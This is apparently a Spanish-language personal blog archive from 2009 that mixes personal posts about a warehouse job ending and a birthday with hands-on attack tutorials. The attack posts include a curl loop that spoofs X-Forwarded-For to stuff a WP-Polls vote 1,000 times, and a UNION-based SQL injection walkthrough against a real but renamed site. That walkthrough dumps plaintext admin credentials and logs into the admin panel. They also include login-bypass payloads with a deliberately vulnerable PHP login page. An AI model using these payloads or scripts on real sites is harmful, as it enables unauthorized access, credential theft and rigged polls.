viernes, octubre 16, 2009

Tristeza... un capitulo mas está por cerrarse...

Estos han sido días duros... días en los que he llegado y solo quiero dormir... no mas trabajo ni siquiera abrir la computadora...

La hora cero se acerca para la empresa para la cual he laborado por los últimos 6 años de mi vida, a estas alturas del juego aún no tenemos la certeza si la empresa continúa o no.... menos aún si yo continúo o no, lo cierto es que esta bodega de 42,000 pies cuadrados ya se ve casi vacía en su totalidad, el movimiento que queda es poco así que esta semana me ha tocado hablar con las primeras personas que se estarán recortando y llegan trabajando con nosotros hasta este día... no porque sean malos trabajadores, muy al contrario, son excelentes trabajadores, sin embargo había que hacerlo y eso es lo mas duro, no hay razón mas que... había que hacerlo.

Es grato saber que como jefatura no he fallado, como compañero de trabajo no he fallado, como empleado no he fallado, es grato escuchar que el ambiente de trabajo que tenemos/tuvimos es envidiable, pero duele escuchar a las personas "yo quisiera seguir trabajando aca, por favor, tomeme en cuenta" cuando ni siquiera yo mismo tengo nada seguro...

Ya comencé desde hace un tiempo a repartir curriculums, aún no hay nada... es un pésimo tiempo para repartir curriculums (crisis + fin de año), mas sin embargo tengo la certeza de que Dios tiene algo y que no me dejará, pero este tiempo no deja de ser duro... mas por la gente con la que trabajo, mis compañeros de trabajo, que por mi.

A estas horas suena la pelota de ping-pong en la cafetería, pelota con la que tantas veces nos hemos divertido... y hoy tiene un futuro incierto.

Ha sido una semana dura, pero la vida continúa, esto, como todo, es parte del trabajo... hoy, por todos los que trabajamos aca, tengo que salir y a pesar de esta tristeza, poner buena cara para lograr levantar el ánimo de todos... hoy tengo que ser fuerte... hoy salgo y voy a jugar, una vez mas, con rostro alegre, ping-pong.

sábado, octubre 10, 2009

Votando mas de lo permitido con WP-Polls


WP-Polls es un plugin de WordPress para administrar encuestas, nunca lo he utilizado, simplemente quiero apuntar a lo fácil que es saltarnos la seguridad que tiene de no permitirnos votar mas de una vez por IP, pudiendo votar fácilmente las veces que se deseen, por lo que este plugin no debería ser utilizado para encuestas que se desean tener datos reales ni mucho menos para concursos...

Según pude ver, gracias al plugin x-forwarded-for spoofer para firefox, al cambiar el valor de la cabecera http x-forwarded-for, me permitía votar de nuevo... de que estoy hablando? bueno, pueden encontrar mas información sobre esta cabecera http en wikipedia, en resumen diremos que esta cabecera lleva tu ip local, por ejemplo, varios de los proveedores locales de internet hacen que varias personas salgan a internet a través de una misma IP, por ejemplo, por una misma IP está accediendo el Sr. Perez a la página de su periódico favorito pero tambien está Maloso Juarez queriendo entrar por fuerza bruta a la página de administración del mismo periódico... los administradores del servidor del periódico andaban vivos y se dieron cuenta del ataque de Maloso Juares, así que deciden bloquear la IP publica de Maloso Juarez, que resulta ser también la del Sr. Perez, resultando en que el Sr. Perez no puede disfrutar de su lectura porque fue bloqueado "sin querer".

X-forwarded-for entonces no toma en cuenta la IP publica, sino la IP local... ejemplo, la IP publica del Sr. Perez y Maloso Juarez era 200.13.X.X, pero la ip local que les está asignando el router de cada casa es del tipo: 192.168.0.1, que es la IP que lleva la cabecera X-Forwarded-for.

Esto solo fue un ejemplo, claro en la vida real si estoy sufriendo un ataque bloqueo la IP, no importa quien mas quede afectado, solo quise ilustrar la diferencia de IPs.

Volviendo al X-forwarded-for, al ser una cabecera HTTP enviada por el cliente (nosotros), tenemos control completo sobre que enviar y que no, ya sea con el plugin mencionado anteriormente, algún proxy... o a pie.

Ya que descubrimos que WP-Polls unicamente verifica la dirección que viene detallada en la cabecera x-forwarded-for, entonces podemos engañarlo (IP spoofing), nos podemos entonces hacer un pequeño script bash, tenemos pues que verificar primero que variables son las que enviamos por post, para el caso WP-Polls normalmente son las siguientes:

vote=true&poll_id=1&poll_2=2&rndval=12321321321323

Bastará con identificar los valores para la opción que necesitamos, y nos hacemos nuestro script bash haciendo uso de curl,

... antes de ponerlo, hay que aclarar que en x-forwarded-for podemos poner cualquier numero y dara igual... es decir, bien puedo poner rangos reales de IP: 192.168.0.1-254, IP inventadas: 955.278.8000.6... o numero cualquiera.

ahora si.. el script:

-----------------------------
#!/bin/bash
NUM=0

#solo vamos a agregar 1,000 votos
while [ $NUM -le 1000 ]; do

#generamos un numero random para ponerlo como parte de nuestra IP
RAN=$RANDOM

# $1 indica un argumento pasado desde la linea de comandos (ver uso despues)
# $RAN es nuestro numero random generado anteriormente
# $NUM es el numero correlativo de nuestra votacion
# -H es utilizado por curl para enviar cabeceras HTTP
# -d es utilizado por curl para indicarle las variables que tiene que enviar por POST
# ademas crea un archivo con la respuesta obtenida (para saber si el voto fue efectivo)
# lo cual puede omitirse si no quieres ver un monton de archivos..
#
# Nuestra IP la forma con el argumento que le pasemos,
# el numero random y el numero correlativo
# ej. si le pasamos el argumento "200.13"
# le agrega un numero random quedando "200.13.454545"
# y luego le agrega el correlativo quedando "200.13.454545.1"
# lo que hara algo dificil que se repita ;)

curl -H "X-Forwarded-For: $1.$RAN.$NUM" -d "vote=true&poll_id=1&poll_2=2&rndval=$RAN" "http://sitio_con_WP-Poll/" >log_$1.$RAN.$NUM.html

let NUM=$NUM+1
done
-----------------------------

Lo guardamos con cualquier nombre, por ej "wp", y lo ejecutamos pasandole un argumento para hacer aun mas flexible nuestra IP...

wp "200.13"

Y ahi va nuestra votacion...

Cabe mencionar que no he verificado versiones ni mayor detalles de este plugin...

Saludos!

jueves, octubre 08, 2009

Inyectando sitios SV y el nacimiento de la Jeringa

Y un sitio llevó a otro sitio... y a otro... y a otro...

Realmente fue algo interesante, como mencionaba anteriormente, todo fue como comenzar a jalar ese hilito de la camisa y al final se desarma todo, resultó ser que un gran número de sitios de El Salvador -y otros paises- estaban hechos por la misma empresa. Tuve la oportunidad de ir y hacerles una demo de su problema, como dato interesante me di cuenta que esta empresa ocupa en su gran mayoría software libre y son "suseros", estuvimos hablando un buen rato, al final se implementó una solución con otro software libre (http://php-ids.org/) que da muy buenos resultados, me invitaron a probarlo (incluso en su página tienen una parte para que pruebes tus inyecciones y xss) y después de leer un rato al respecto y ver que algunos de los mejores han colaborado para detectar y agregar vectores de ataque, definitivamente me di cuenta que es una buena solución, aunque como decía alguien en un comentario sobre este soft:
Esto estara bien para el tema de cuando quieres programar rapido y tal, pero si es algo serio o es alguna programacion a medida es un poco cutre estar usando estas cosas, das a parecer que no eres capaz de programar seguro. Pero de todas formas esta bastante bien para principiantes o gente que sepa muy poco.
En esa visita también estuvimos hablando de lo triste que es que muchas empresas y gente con posibilidades económicas no tengan el mas mínimo interés en invertir en asegurar sus sitios.

Basta darse una vuelta por zone-h para darse cuenta la cantidad de sitios salvadoreños que han sido víctimas de defaces y lo mas triste es ver que al parecer solo vuelven a levantar el sitio y la vulnerabilidad sigue ahi... tal es el caso de algunas televisoras que ni siquiera tiene información para contactarles.

Todo esto también ha llevado al nacimiento de la "jeringa", una herramienta que claro está, sirve para "inyectar", la estoy programando en perl y ocupa un par de comandos de linux, hasta el momento solo es aplicable a MySQL, detectando si es o no vulnerable a inyecciones, saca el nombre de la BD y la cantidad de tablas que tiene. Realmente no es nada del otro mundo, solo mi diversión para programar un poco, pero lo mas gracioso es que ha sido capaz de detectar y obtener información de algunos sitios que sqlmap no ha detectado.

Si, se que aún estoy pendiente con el manualito de inyecciones a ciegas, pero el trabajo ha estado pesado ultimamente, quien quita y luego publique el manual junto a la herramienta ;)

Termino con algo que he tenido en mente desde que comenzaron todos estos acontecimientos... Que necesita la gente para tomar conciencia de la seguridad? claro esta que no solo hace falta que les pasen las cosas.... tampoco son recursos..... será que tenemos que ir sitio por sitio como zerial e irles avisando a cada uno?

Saludos!!!

lunes, septiembre 21, 2009

31 y contando...


Asi, son 31 primaveras, 31 años de estar respirando, 31 años de haber emprendido esta carrera que se llama "vida", ayer cumplí 31 años.

Desde mi rincón quiero agradecerle primeramente a mi padre celestial por permitirme llegar hasta este momento, definitivamente que sin él no estaría acá ni sería lo que soy.

Es interesante, siempre en fechas de este tipo uno se pone "algo" reflexivo, ayer, aunque intenté no hacerlo, mi mente se resistió a obedecer, aunque no fue mucho, logré recordar hace un par de años atrás en los que me vi estancado en conocimientos y pensé "Ok, hasta aquí llegue, mi curva de aprendizaje está decreciendo exponencialmente"... y me resigné, sin embargo debo decir que este último año ha sido muy bueno, a pesar del poco tiempo disponible para mi auto-aprendizaje, logré aprender un poco mas sobre otros temas que había dejado iniciados y de nuevo logré sentir esa chispa que tienes como cuando se te viene una idea y comienzas a programar y programar y programar y ves ese montón de líneas de código que sin darte cuenta has escrito y la racha sigue, no quieres parar, tan solo quieres seguir aprendiendo, agregando mas líneas, rutinas, etc... esa sensación es única.

Dios me ha dado un año mas y estoy mas que agradecido por eso. Dios me ha dado una bella esposa y 2 hermosos hijos con quien comparto mis días, unos amigos que, aunque no son muchos, se que cuento con ellos, una comunidad de la cual me siento parte... definitivamente son mas cosas de las que pudiera pedir!

Ayer, disfruté el día y pude ver a varios amigos (aunque no se acordaron del día en si, los muy desgraciados), pude compartir aunque sea unos momentos y eso es lo importante, luego salí a Ataco con mi familia (me encanta ese pueblo!), regresé y logré ver a mis padres aunque sea un ratito. Algunos mensajes, llamadas y felicitaciones por chat e irc, un debian-wine que rmayorga me había traído del último debconf para disfrutar mientras con mi esposa veíamos una película... que mas podría querer?

Saludos y gracias a todos por estar ahi: a los que solo me leen de vez en cuando, a los que se toman la molestia de venir cada vez que pongo algo nuevo, a los que solo les interesan los post tecnicos, a los que también leen sobre mi vida, en fin... a vos que lees este post!

lunes, septiembre 07, 2009

Muy pronto... Blind SQL Injection

Tuve un fin de semana ocupado y es que las últimas páginas que encontré con vulnerabilidades de inyecciones SQL, esas de las que se sacaba toda la información en 5 minutos, curiosamente habían sido hechas por la misma empresa, pero que, según ellos, eran páginas antiguas y que no podían hacer nada mas porque estaban ya en manos de sus clientes.

Lo interesante del asunto es que todos los sitios son autoadministrables, usan un CMS creado por ellos, sin embargo los sitios recientes ya habían sido hechos bajo una nueva versión del CMS y, curiosamente ya no presentaba errores de sintaxis al ponerle una comilla por ahi... pero eso no quiere decir que no fueran vulnerables, así que el viernes por la noche comencé la tarea, facilmente se pudo ver que eran vulnerables a Blind SQL Injection, así que al llegar a la casa me puse manos a la obra y pude comenzar a sacar la información, pero al ser a ciegas, el proceso es algo tedioso una vez se ha encontrado la forma correcta de obtener la información... comencé por los ultimos sitios creados por ellos, pude ver que en efecto al menos los 4 sitios que tomé de base, eran vulnerables, así que, curiosamente me había olvidado y había dejado de último el análisis de la pagina de los desarrolladores... me busque una herramienta para automatizar el proceso, así que dejé trabajando mi maquinita todo el sábado mientras dormía, domingo a primera hora ya tenía toda la información requerida... por lo que me dispuse a dar el respectivo aviso a los desarrolladores.

Esto, además de la primera y segunda entrega sobre inyecciones SQL, prepara el camino para hablar un poco sobre Blind SQL Injection, un dia de estos por la noche veré si hacemos el taller respectivo en IRC para luego hacer un manualito, así que espero pronto dejar el post sobre el tema.

Saludos!

jueves, agosto 20, 2009

Quiero ir a la "lomita"

Con tanto stress de trabajo definitivamente hay días que quisiera irme a la "lomita", término que adopté después de leer el libro "La Meta" de Eliyahu Goldratt, bastante interesante y me gustó porque de una forma amena aborda el tema de la Teoría de las Restricciones (TOC).

A continuación, para el que quiera leerlo copio la parte de donde saco el término:

"¿Qué es lo que hago aquí? De repente, me pregunto para qué he venido. Después de la reunión, que, por cierto, durará casi todo el día, ¿voy a poder hacer mi fábrica más competitiva, salvar un empleo o ayudar a alguien a hacer algo que pueda resultar provechoso?.. . Es inútil. No sé ni siquiera lo que es la productividad. Estoy perdiendo el tiempo. Con estos pensamientos en la cabeza, voy recogiendo lentamente y... me largo.
Nadie se dirige a mí en el tramo que separa la sala de los ascensores, así que, afortunadamente, mi escapada pasa inadvertida. Pasa inadvertida hasta que, esperando el ascensor, se me acerca Hilton Smyth.
— No estarás intentando abandonar el barco, ¿verdad Al? Por unos instantes pienso en ni siquiera mirarle, pero me doy
cuenta de que Smyth va a ir con el cuento a Peach, así que improviso:
— Tengo que hacerlo. Hay un asunto urgente que debo resolver en la fábrica.
— ¿Cómo? ¿Una emergencia?
— Más o menos.
Las puertas del ascensor se abren. Subo. Smyth sigue su camino con una expresión curiosa en sus ojos. Las puertas se cierran.
Peach bien podría despedirme por abandonar su reunión. Tal y como están las cosas, no sería sorprendente. Bueno, si me despidiera me ahorraría los tres meses de angustia que quedan para que ocurra lo inevitable. Tengo el ánimo por los suelos.
Al llegar a Bearington no voy a la fábrica. Deambulo por las calles, girando el volante cuando me parece. Pasan dos horas. No
me importa. Quiero escapar. No pienso en el trabajo. Trato de olvidarlo, pensando en el buen día que ha quedado. Brilla el sol. Hace buena temperatura. No hay nubes. El cielo es azul y, aunque la primavera no ha llegado todavía, ya anuncia que está cercano su milagroso estallido de cada año. ¡Es un buen día para evadirse!
Recuerdo haber mirado la hora poco antes de llegar a la verja de entrada de la fábrica, la una. De repente, cuando estoy a punto de traspasar la verja, caigo en la cuenta de que no quiero entrar. Miro a la fábrica y acelero, dándole la espalda. Tengo hambre. Voy a buscar algo para comer. Me doy cuenta de que lo que realmente no quiero es entrar otra vez en la dinámica del trabajo. Necesito pensar tranquilamente.
Un par de kilómetros más arriba hay una pizzería. Está abierta. Entro y pido una pizza de tamaño medio con doble de queso, pepinos, salchichas, champiñones, pimienta, mostaza, aceitunas, cebolla y —¡hummm!— ¡trocitos de anchoa! Mientras espero, se me van los ojos detrás de las patatas fritas, los taquitos de jamón, las aceitunas... Le digo al encargado, un siciliano, que me prepare dos bolsas para llevar. Normalmente, no bebo a mediodía, pero el anuncio luminoso —«LLÉVAME»— de las cervezas me hace desearla y pido seis latas frías. Pago y salgo con tan preciado cargamento. ¡La angustia me abre un apetito voraz!
Cerca de la fábrica hay un camino de gravilla que asciende por una pequeña pendiente, hasta llegar a la subestación eléctrica que está a un kilómetro, más o menos. Giro bruscamente para entrar en el camino. El Buick derrapa un poco. Tiendo la mano rápidamente para evitar que la pizza salte del asiento.
Aparco, dejando tras de mí una nube de polvo. Me quito la corbata y la americana para que no se manchen. Desabrocho los dos botones superiores de mi camisa y empiezo a dar cuenta de las provisiones. Es un auténtico placer morder la masa crujiente. El queso se estira entre mi boca y la pizza, en hilos amarillos y elásticos.
La fábrica está ahí. La veo desde mi atalaya, al otro lado de la carretera. Es como una caja de metal gris sobre la explanada. Ni una sola ventana. Sé que dentro hay cuatrocientas personas trabajando en el turno de día. Sus coches están aparcados delante de la
fábrica. Observo que un camión está reculando entre otros dos, en la plataforma de embarque. Los tres transportan materiales. Los materiales que las máquinas y los hombres de dentro están utilizando para hacer cosas. Al otro extremo, otros camiones se llevan lo que se ha producido. Se supone que yo dirijo lo que ocurre allí abajo. Abro una cerveza y mastico mi pizza antes de beber un trago.
La fábrica parece un elemento más del paisaje. Es como si fuera consustancial al paisaje mismo. Sin embargo, sé que lleva allí sólo quince años y, es más, sé que es muy probable que no sobreviva los próximos quince. ¿Cuál es la meta? ¿Qué se supone que hacemos ahí? ¿Qué es lo que está manteniendo en marcha todo el montaje?
Jonah afirmaba que hay una sola meta."

Definitivamente... a veces quisiera dar media vuelta e irme a esa "lomita" para darme un break y alejarme del ambiente de trabajo, pero el mismo sentido de responsabilidad no me deja hacerlo tanto así, ya llegará el día, pero... quiero ir a la lomita.

jueves, agosto 13, 2009

SQL Injection básico II/II

Segunda Parte: Caso real de sql injection para lograr acceso al panel de administración de un sitio.

Ok, no vamos a decir el nombre ;) asi que a nuestro sitio le llamaremos "lazyprogrammer.com.sv", vamos a por lo que vinimos:

¿Que información es básica para nuestros propósitos?
Dada la cantidad de variables, sintaxis y escenarios con los que nos podemos encontrar las cosas que necesitamos saber, entre otras son:

- Tipo de servidor de bases de datos (Oracle, MSSQL, MySQL, etc)
- Version del servidor de base de datos (por aquello de las sintaxis, cambios y vulnerabilidades)
- Nombre de la base de datos
- Nombre del usuario de la base de datos
- Permisos del usuario de la base de datos
- Nombre de la tabla
- Nombre de las columnas
- etc

Anteriormente vimos como una comilla simple se convertía en un gran enemigo de nuestro servidor de bases de datos y un aliado en las SQL injections, así que seguiremos usándola, luego verán que se vuelve una manía estar probando las comillas por donde vayamos.

Lo primero entonces es buscar una variable que sea inyectable, lo mas común es encontrarlas en variables que se pasan por la url del tipo:

http://www.lazyprogrammer.com.sv/faq_details.php?id=1

Aca se está pasando la variable id con valor 1 por la url... tomando de base lo que pasaba en la entrega anterior, veamos que pasa si ponemos una comilla simple al final como queriendo cerrar la consulta:

http://www.lazyprogrammer.com.sv/faq_details.php?id=1'

Nos da el siguiente error:

You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Los errores son una gran fuente de información, acá por ejemplo, este error nos está diciendo lo siguiente:
- Estamos frente a un servidor MySql
- Las comillas simples se están "escapando", es posible que magic_quotes este "on"

Aquí es donde comenzamos a pedirle al servidor que nos diga mas, haciendo uso de subqueries o subconsultas "UNION SELECT", pero tenemos que tener en cuenta que cuando usamos Union Select, nuestra subconsulta debe de tener el mismo número de columnas que la primera consulta, entonces, se nos hace necesario primero saber cuantas columnas tiene la consulta original, probemos...

http://www.lazyprogrammer.com.sv/faq_details.php?id=1 UNION SELECT 1

Nos da el error:

The used SELECT statements have a different number of columns

Ok, tiene mas de una columna y además encontramos una variable que es inyectable... sigamos probando entonces hasta que no nos de ningun error

http://www.lazyprogrammer.com.sv/faq_details.php?id=1 UNION SELECT 1,1
http://www.lazyprogrammer.com.sv/faq_details.php?id=1 UNION SELECT 1,1,1
http://www.lazyprogrammer.com.sv/faq_details.php?id=1 UNION SELECT 1,1,1,1

Excelente, no nos dió error, nos mostrá la página como normalmente, esto quiere decir que tiene 4 columnas.

Otra forma de saberlo es haciendo uso de ORDER BY, veamos:

http://www.lazyprogrammer.com.sv/faq_details.php?id=1 ORDER BY 1
No dió ningún error... asi que probamos

http://www.lazyprogrammer.com.sv/faq_details.php?id=1 ORDER BY 2
Y así sucesivamente hasta que nos de el siguiente error:

Unknown column '5' in 'order clause'

Asi que tenemos 5-1 columnas = 4.


Ahora que sabemos que nuestra consulta debe de tener 4 columnas, debemos encontrar un lugar donde los resultados de nuestra consulta sean mostrados, asi que lo primero es hacer que la primer consulta no muestre ningún resultado, como lo logramos? tenemos que colocar un valor de registro (id) que no exista, de esa forma dejara el espacio en blanco, asi que podemos utilizar por ejemplo:

id=9999999999999
id=0
id=-1

Yo prefiero usar el -1, ahora... como sabemos que columna muestra y a donde la muestra? usamos lo siguiente:

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 UNION SELECT 1,2,3,4

Y nos muestra:

Tema:

2
3

Vemos que solo muestra 2 y 3... cambiemos algo mas para comprenderlo mejor:

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 UNION SELECT 1,2222,3333,4

y esto nos muestra:

Tema:

2222
3333

O sea que muestra en pantalla lo que solicitemos en las columnas 2 y 3.

Que podemos solicitar?
En el siguiente enlace tenemos una excelente hoja de cosas que podemos solicitar...

http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/

Entre estos encontramos:

@@version o version()
user()
system_user()
database()

Creo que es bastante obvio, asi que los comenzamos a probar, sustituyendo las columnas 2 y 3 por lo que querramos saber:

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,database(),version(),4

O podemos unir toda la informacion que queremos para que lo muestre en un solo campo:

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,concat_ws(char(58),version(),user(),database()),3,4

Esto lo que hace es concatenar los valores de version(), user() y database() haciendo uso del simbolo char(58) que son los dos puntos ":", entonces tenemos lo siguiente:

4.0.18:lazy_banner@lazyprogrammer.com.sv:lazy

O sea, la version de Mysql es 4.0.18, el usuario es lazy_banner@lazyprogrammer.com.sv y la base de datos se llama lazy.

La versión 4 de mysql es un poco mas tediosa para poder encontrar el nombre de las tablas y columnas, en la versión 5 podrímos hacer uso de information_schema.tables, pero en la 4 no la tenemos, asi que jugaremos un poco con nuestra creatividad y la poca creatividad del programador...

Averiguemos primero el nombre de la tabla... que nombres podría haber puesto el administrador para una tabla de login?

usuarios
users
login
logins
adminsitradores
administrador
admin

Probemos...

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,2222,3333,4 from administrador
Table 'lazy.administrador' doesn't exist

No existe... seguimos probando hasta que...

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,2222,3333,4 from admin
No da error, esto quiere decir que la tabla admin SI existe!!!

Y que columnas podrian existir?

user
usuarios
usuario
nombre
y tambien...

clave
password

Probemos....

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,user,3333,4 from admin
Unknown column 'user' in 'field list'

No existe, asi que seguimos probando...

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,usuario,password,4 from admin

Hasta que dimos con los nombres de las columnas correctas y mejor aun.. nos muestra el primer registro de esta tabla, dejando al descubierto el nombre del primer usuario y su password, la cual no esta encriptada sino en texto plano!!!

Aca solo nos mostró el primer registro, asi que busquemos mas, para esto utilizamos LIMIT

http://www.lazyprogrammer.com.sv//faq_details.php?id=-1 union select 1,usuario,password,4 from admin limit 0,1

Entonces seguimos con
limit 1,1
limit 2,1
limit 3,1
limit 4,1

Hasta que ya no muestra nada mas.

Ahora bien.... ya tenemos un listado de usuarios y passwords, los cuales se utilizan normalmente en algun formulario de Login, el cual... normalmente se encuentra en directorios como:

http://www.lazyprogrammer.com.sv/administrator
http://www.lazyprogrammer.com.sv/administrador
http://www.lazyprogrammer.com.sv/admin

Y voilaaaaa!!! /admin si nos muestra la pagina para loguearnos, asi que solo bastará utilizar cualquier combinación encontrada anteriorment y estamos adentro!!!


Bueno, hasta acá nos encontramos con un sitio bastante intuitivo, veremos si mas adelante preparamos algún otro texto para seguir ahondando en el tema, que como les dije antes, es bastante extenso.

Ya saben... preguntas, quejas, chascarríos.. a los comentarios!

SQL Injection básico I/II

domingo, agosto 02, 2009

SQL Injection básico I/II

¿Qué es?
SQL Injection es una vulnerabilidad bastante común que consiste en hacer que una aplicación que ejecuta una sentencia SQL, ejecute otra sentencia SQL que nosotros queramos, esto se logra “inyectando” un código para así modificar la sentencia SQL original.

¿Cual es el alcance/riesgo de este tipo de vulnerabilidad?
Todo dependerá del escenario (motor de base de datos, versión del motor de la base de datos, sistema operativo, permisos, lenguaje de programación, etc), pero entre las cosas que se pueden lograr están:

  • Saltarse sistemas de autenticación (login bypass)
  • Averiguar contraseñas u otra información, ya sea almacenada en la base de datos o en algún archivo.
  • Agregar, eliminar, editar registros en una base de datos.
  • Agregar, eliminar, editar tablas.
  • Leer archivos (por ejemplo /etc/passwd), lo cual comprometería por completo un sistema...
  • etc.

¿Por qué se da esta vulnerabilidad?
Debido a un mal trato de la aplicación a las variables que recibe, es decir, no se verifica el tipo de datos que esta recibiendo antes de utilizarlo, un error humano bastante común en muchos programadores que no tienen en cuenta la seguridad, en los ejemplos veremos mejor a qué nos referimos.


¿A quienes afecta?
Este tipo de vulnerabilidad se da en cualquier motor de base de datos que ejecute sentencias SQL (MySQL, MS SQL, Oracle, PostgreSQLetc), lo más común es encontrarla en aplicaciones web, aunque también existen otros tipos de inyecciones como: LDAP, XML, XPATH, etc.

El tema SQL Injection es un tema muy extenso e interesante, en este manual únicamente haremos una breve demostración de 2 cosas que se pueden hacer en aplicaciones web: En la primera parte utilizaremos SQL injection para saltarnos un sistema de registro (login bypass) y en la segunda parte veremos un caso real en el cual, haciendo uso de esta vulnerabilidad logramos acceso al panel de administración de un sitio.


Que conste que no soy experto en el tema, tan solo un aficionado que quiere compartir un poco sobre esto...

Introducción
¿Cómo podemos verificar si una aplicación web es vulnerable a SQL Injection? Lo primero que podemos probar es hacer que la base de datos nos genere algún tipo de error, el cual podríamos verificar para obtener mas información, para esto (y para otras cosas que veremos mas adelante) hacemos uso de la comilla simple (') o las comillas dobles (“), por ejemplo, es muy común encontrar sitios webs que en la url muestran algo asi:

http://www.sitiovulnerable.com.sv/faq_details.php?id=1

entonces, simplemente ponemos una comilla simple al final y nos queda:

http://www.sitiovulnerable.com.sv/faq_details.php?id=1'


Lo que nos podría generar el siguiente error:

You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1


Este error nos dice que la comilla simple esta siendo “escapada” (se le está colocando un backslash antes de la comilla, osea.. la esta “escapando”), al ver que el lenguaje es PHP sabemos que esto se puede lograr, entre otras formas, usando la función addslashes() o teniendo magic_quotes_gpc() activadas en php.ini y además que se trata de un servidor MySQL.

En aplicaciones web las variables se pueden pasar haciendo uso del método GET (pasando variables por la URL como en el ejemplo anterior) o el método POST (haciendo uso de formularios), en ambos casos podemos encontrar este tipo de vulnerabilidad.


Primera parte: Login Bypass

*Nota: para que el siguiente ejemplo funcione, la función magic_quotes_gpc debe estar off en el php.ini, esta opción en las ultimas versiones de php se encuentra ON por default, pero aún podemos encontrar algunos servidores en OFF.


Analicemos la siguiente pagina en PHP /MySQL


+++++++++++++++++++++++
// mysqlinjection_login.php
// realiza la conexión con MySQL siendo
// localhost el servidor de BD, root el usuario y
// password la contraseña.
$conexion=mysql_connect("localhost","root","password");

// Utiliza la conexión anterior para leer la base
// de datos llamada mysqlinjection
mysql_select_db("mysqlinjection",$conexion);

// define la variable user y pass las cuales toma por medio del metodo POST
// para leerlas del formulario, verificar que no se están verificando.
$user=$_POST['usuario'];
$pass=$_POST['password'];

// Esas variables se usan sin “sanitizarse” en una consulta SQL
$consulta = "SELECT * FROM admin WHERE usuario='$user' and password='$pass'";
$row_consulta = mysql_fetch_assoc($consulta_browser);

// $loginok toma el valor de la cantidad de registros que cumplen la condición
$loginok = mysql_num_rows($consulta_browser);

echo $consulta; //mostramos la consulta para efectos de aprendizaje

// Si $loginok tiene algun valor, entonces nos muestra que pudimos loguearnos,
// de lo contrario nos muestra el mensaje de error
if ($loginok) {
echo "LOGIN OK!!!";
}
else
{
echo "USER/PASSWORD ERRONEOS";
}
+++++++++++++++++++++++

Vemos una aplicación normal que no verifica/sanitiza (quita caracteres que pudieran afectar la seguridad), hemos dejado la opción que muestre como queda la consulta para verificar como podemos inyectar nuestro código.


La parte que nos interesa es la siguiente:

SELECT * FROM admin WHERE usuario='$user' and password='$pass'


Si ponemos al usuario “admin” y password “clave” la sentencia queda de la siguiente forma:

SELECT * FROM admin WHERE usuario='admin' and password='clave'


No nos permite loguearnos ya que no hay ningun usuario que cumpla esas condiciones, el resultado no es verdadero.


Pero que pasa si ponemos en ambos campos algo como:

admin' (comilla simple)


Lo que nos da:

SELECT * FROM admin WHERE usuario='admin'' and password='admin''


Nos da error porque no es una sentencia valida, ya que queda una comilla simple extra, asi que buscamos la forma de generar una sentencia válida, pero que a la vez nos genere un resultado verdadero, por ejemplo:

admin' or 'x'='x


Lo que nos daria la siguiente sentencia:

SELECT * FROM admin WHERE usuario='admin' or 'x'='x' and password='admin' or 'x'='x'


Nos da LOGIN OK!!!

Veamos por qué: verifica si existe un usuario que sea admin o que x sea igual a x, no existe un usuario admin (o tal vez si, en realidad no importa) pero la condicion x=x siempre será verdadera, asi que cumple esta parte de la condición, lo mismo sucede con el password.

Otras opciones que nos dan el mismo resultado (resultado siempre verdadero):

' OR ''=' (todas son comillas simples)

' OR 1=1 – (los dos guiones al final hace que el resto de la sentencia quede “comentada” y no la toma en cuenta)

' –

admin' –


Las variantes pueden ser muchas, lo importante es lograr un sentencia válida que siempre devuelva un valor verdadero.


Después de este breve ejemplo nos vendría bien algo de humor... si no lo entienden después de este texto, igual leanlo bien ya que nos sirve de introducción para la segunda entrega, les aseguro que tendrá más forma:

http://imgs.xkcd.com/comics/exploits_of_a_mom.png


Llaman por teléfono a una madre desde el colegio de su hijo:

Colegio: Hola, es del colegio de su hijo, estamos teniendo algunos problemas con los ordenadores.


Madre: ¡Dios mío! ¿Ha roto algo mi hijo?
Colegio: Más o menos...

Colegio: ¿Su hijo se llama de verdad "Robert'); DROP TABLE Students; --"?
Madre: Oh, sí, lo llamamos "Rebertito tablas"

Colegio: Pues bien, hemos perdido todos los datos de los estudiantes de este año. Espero que esté feliz.
Madre: Y yo espero que haya aprendido a verificar las entradas a su base de datos.

Saludos!

p.d.
Correcciones, chascarrios, notas, etc... a los comentarios!


SQL Injection básico II/II



martes, julio 28, 2009

Es difícil...

Ya hace un par de meses atrás se me dió la noticia de que nuestro mayor cliente en la mina ya no renovaría su contrato debido a la crisis y lógicamente están viendo como recortan gastos (ya habían dejado de trabajar con sus contratistas, cerrado una planta, recortado personal en otras... y parece que hay planes de cerrar otra planta mas).

En ese entonces, debido a que no tenía mayor información ni autorización de comentar al respecto, me fué realmente difícil poner buena cara ante el shock de la noticia.

No pasó mucho tiempo para que rumores y comentarios se estuvieran dando en el medio y llegaran a oídos de las personas que trabajan con nosotros, asi que llegó el momento en que consideramos era justo para todos hacer pública la noticia.

Fue dificil realmente, pero me parece que fué lo mejor.... la mina se ha portado excelente con nosotros y aún hoy se les avisa a todos con anticipación para poder, con un poco mas de tiempo, buscar nuevos rumbos.

Hoy, es difícil mantener el buen ánimo de todos, se que Dios tiene control de cada situación, pero esto es algo que no todos comprenden.

Aún no se sabe cuales son los planes de este cliente, así que hay una comitiva que está viniendo a la empresa, se le está enseñando nuestros procedimientos, sistemas, etc. pero queda esa sensación rara de estarle enseñando todo... y luego nos quedaremos sin mayor cosa.

Hay rumores que la mina seguirá (a un nivel mas pequeño, claro está), pero no son mas que eso: rumores. No tenemos información certera, así que por el momento mi futuro laboral está incierto, ya ando repartiendo curriculums con algunos conocidos, pensando y pidiendo a Dios que guie el rumbo que deba tomar, asi que si saben de algo, avisen!!!

lunes, julio 27, 2009

Mi fin de semana...

